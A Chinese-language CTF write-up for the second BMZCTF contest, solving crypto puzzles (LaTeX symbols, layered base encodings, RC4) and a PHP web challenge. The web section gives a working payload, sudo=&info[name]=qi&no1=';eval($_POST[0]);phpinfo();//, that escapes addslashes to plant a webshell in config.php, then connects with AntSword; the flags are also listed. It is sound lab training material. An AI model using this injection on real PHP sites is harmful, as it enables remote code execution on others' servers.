第二屆BMZCTF網路安全公開賽
今天事情比較多，所以基本沒做，上線了一會就，沒做幾道題
文章目錄
- 第二屆BMZCTF網路安全公開賽
- Crypto
- DO_YOU_KNOW_IT
- 簽到題
- SIMPLE
- Web
- EASY_PHP
Crypto
-
DO_YOU_KNOW_IT
題目附件
鏈接：https://pan.baidu.com/s/10DmirLYb1Z49wEtShHrh7Q
提取碼：9y29
打開附件發現是LaTeX數學符號，一 一對照后為：
flag{\prod \ltimes \aleph y _{-}\wp \infty \therefore \heartsuit _{-}\Longleftarrow \aleph\Theta \eth \Xi }
取每個的首字母，結果為
flag{Play_with_LaTeX}
-
簽到題
題目附件
鏈接：https://pan.baidu.com/s/1iRI3PlLxgtKdd2DRuzf2ZA
提取碼：rwv6
打開附件發現一串密文：
56465a7757464977546d464e656b354b5632786b5346457862336c4f4d4842485632785a4d6c5a47556c46554d557057556a464e656c5a466146465756444135554651774f5642525054303d
base一把梭就可以了
step1======> base16
VFZwWFIwTmFNek5KV2xkSFExb3lOMHBHV2xZMlZGUlFUMUpWUjFNelZFaFFWVDA5UFQwOVBRPT0=
step2======> base64
TVpXR0NaMzNJWldHQ1oyN0pGWlY2VFRQT1JVR1MzVEhQVT09PT09PQ==
step3======> base64
MZWGCZ33IZWGCZ27JFZV6TTPORUGS3THPU======
step4======> base32
flag{Flag_Is_Nothing}
結果：flag{Flag_Is_Nothing}
-
SIMPLE
題目附件
鏈接：https://pan.baidu.com/s/1IyXd4OsxvWU9xCT7Ym6wvQ
提取碼：hkmn
爆破出附件simple.zip的密碼為：2022go
解壓壓縮包，發現兩個檔案，一個是key.txt，一個是okay.jpg，010打開okay.jpg，在末尾處發現一串RC4加密的字符：
U2FsdGVkX19+KmR+JLpq0l/IJ+rVlIHN2T+yqAikL04yjA==
key.txt中發現base64編碼，解碼得到RC4解密需要用到的key：babyhappy
RC4解碼
flag{You_Guess_It}
Web
-
EASY_PHP
題目：
<?php
highlight_file(__FILE__);
error_reporting(0);
function new_addslashes($string) {
if(!is_array($string)) return addslashes($string);
foreach($string as $key => $val) $string[$key] = new_addslashes($val);
return $string;
}
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
$file = __DIR__ .'/config.php';
require $file;
$key = $_POST['info']['name'];
if(!isset($LANG[$key])) {
$content = file_get_contents($file);
$content = substr($content,0,-3);
$data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
file_put_contents($file,$data);
} elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
$content = file_get_contents($file);
$content = str_replace($LANG[$key],$_POST['no1'],$content);
file_put_contents($file,$content);
}
}
if(isset($_GET['re'])){
file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}
解題程序
POST傳參會被addslashes，第一次是寫進去，第二次是str_replace，想辦法逃逸出單引號：
$content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
第一次傳的話單引號會變成\'然后寫進去，第二次傳會把'xxxxxx給替換成\'xxxx：
string(30) "';eval($_POST[0]);phpinfo();//" string(31) "\';eval($_POST[0]);phpinfo();//"
這樣就兩個\\，單引號逃出轉義了，
打2次然后config.php命令執行即可，
sudo=&info[name]=qi&no1=';eval($_POST[0]);phpinfo();//
蟻劍連接
找到flag檔案
到此結束
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/401557.html
標籤：其他
上一篇：Java－如何防范CSRF攻擊